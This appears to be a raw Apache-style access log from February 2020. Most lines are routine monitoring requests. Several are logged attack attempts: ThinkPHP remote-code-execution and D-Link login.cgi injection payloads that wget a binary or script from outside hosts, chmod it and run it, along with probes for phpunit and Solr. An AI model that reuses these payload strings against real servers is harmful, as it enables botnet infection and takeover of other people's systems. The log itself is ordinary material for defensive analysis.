212.91.246.72 - - [14/Feb/2020:10:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.59 - - [14/Feb/2020:10:36:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:10:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.220.12 - - [14/Feb/2020:10:41:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:10:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [14/Feb/2020:10:43:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:10:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.249.181.74 - - [14/Feb/2020:10:48:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
173.76.38.236 - - [14/Feb/2020:10:48:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:10:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:10:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [14/Feb/2020:11:01:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:11:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [14/Feb/2020:11:20:16 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:11:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.246.206 - - [14/Feb/2020:11:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
190.94.140.217 - - [14/Feb/2020:11:28:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:11:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.196.126.136 - - [14/Feb/2020:11:29:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [14/Feb/2020:11:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.5.93.19 - - [14/Feb/2020:11:30:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:11:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.57.11.79 - - [14/Feb/2020:11:37:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.98.42.208 - - [14/Feb/2020:11:37:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:11:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:11:49:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
189.163.85.70 - - [14/Feb/2020:11:49:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:11:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.12.29.152 - - [14/Feb/2020:11:51:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:11:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [14/Feb/2020:11:54:38 +0100] "GET / HTTP/1.1" 200 1229 "http://www.gelendzhic.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [14/Feb/2020:11:54:38 +0100] "GET / HTTP/1.1" 200 1229 "http://www.gelendzhic.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [14/Feb/2020:11:54:38 +0100] "GET / HTTP/1.1" 200 1229 "http://www.gelendzhic.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
212.91.246.72 - - [14/Feb/2020:11:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [14/Feb/2020:11:57:49 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:11:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:11:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [14/Feb/2020:12:00:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [14/Feb/2020:12:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.29.151.75 - - [14/Feb/2020:12:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:12:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.208.110.78 - - [14/Feb/2020:12:08:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:12:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.215.17 - - [14/Feb/2020:12:08:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:12:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.230.26.18 - - [14/Feb/2020:12:10:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:12:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.113.92.167 - - [14/Feb/2020:12:14:07 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:12:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [14/Feb/2020:12:19:45 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
70.24.240.169 - - [14/Feb/2020:12:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:12:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [14/Feb/2020:12:29:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [14/Feb/2020:12:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:12:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
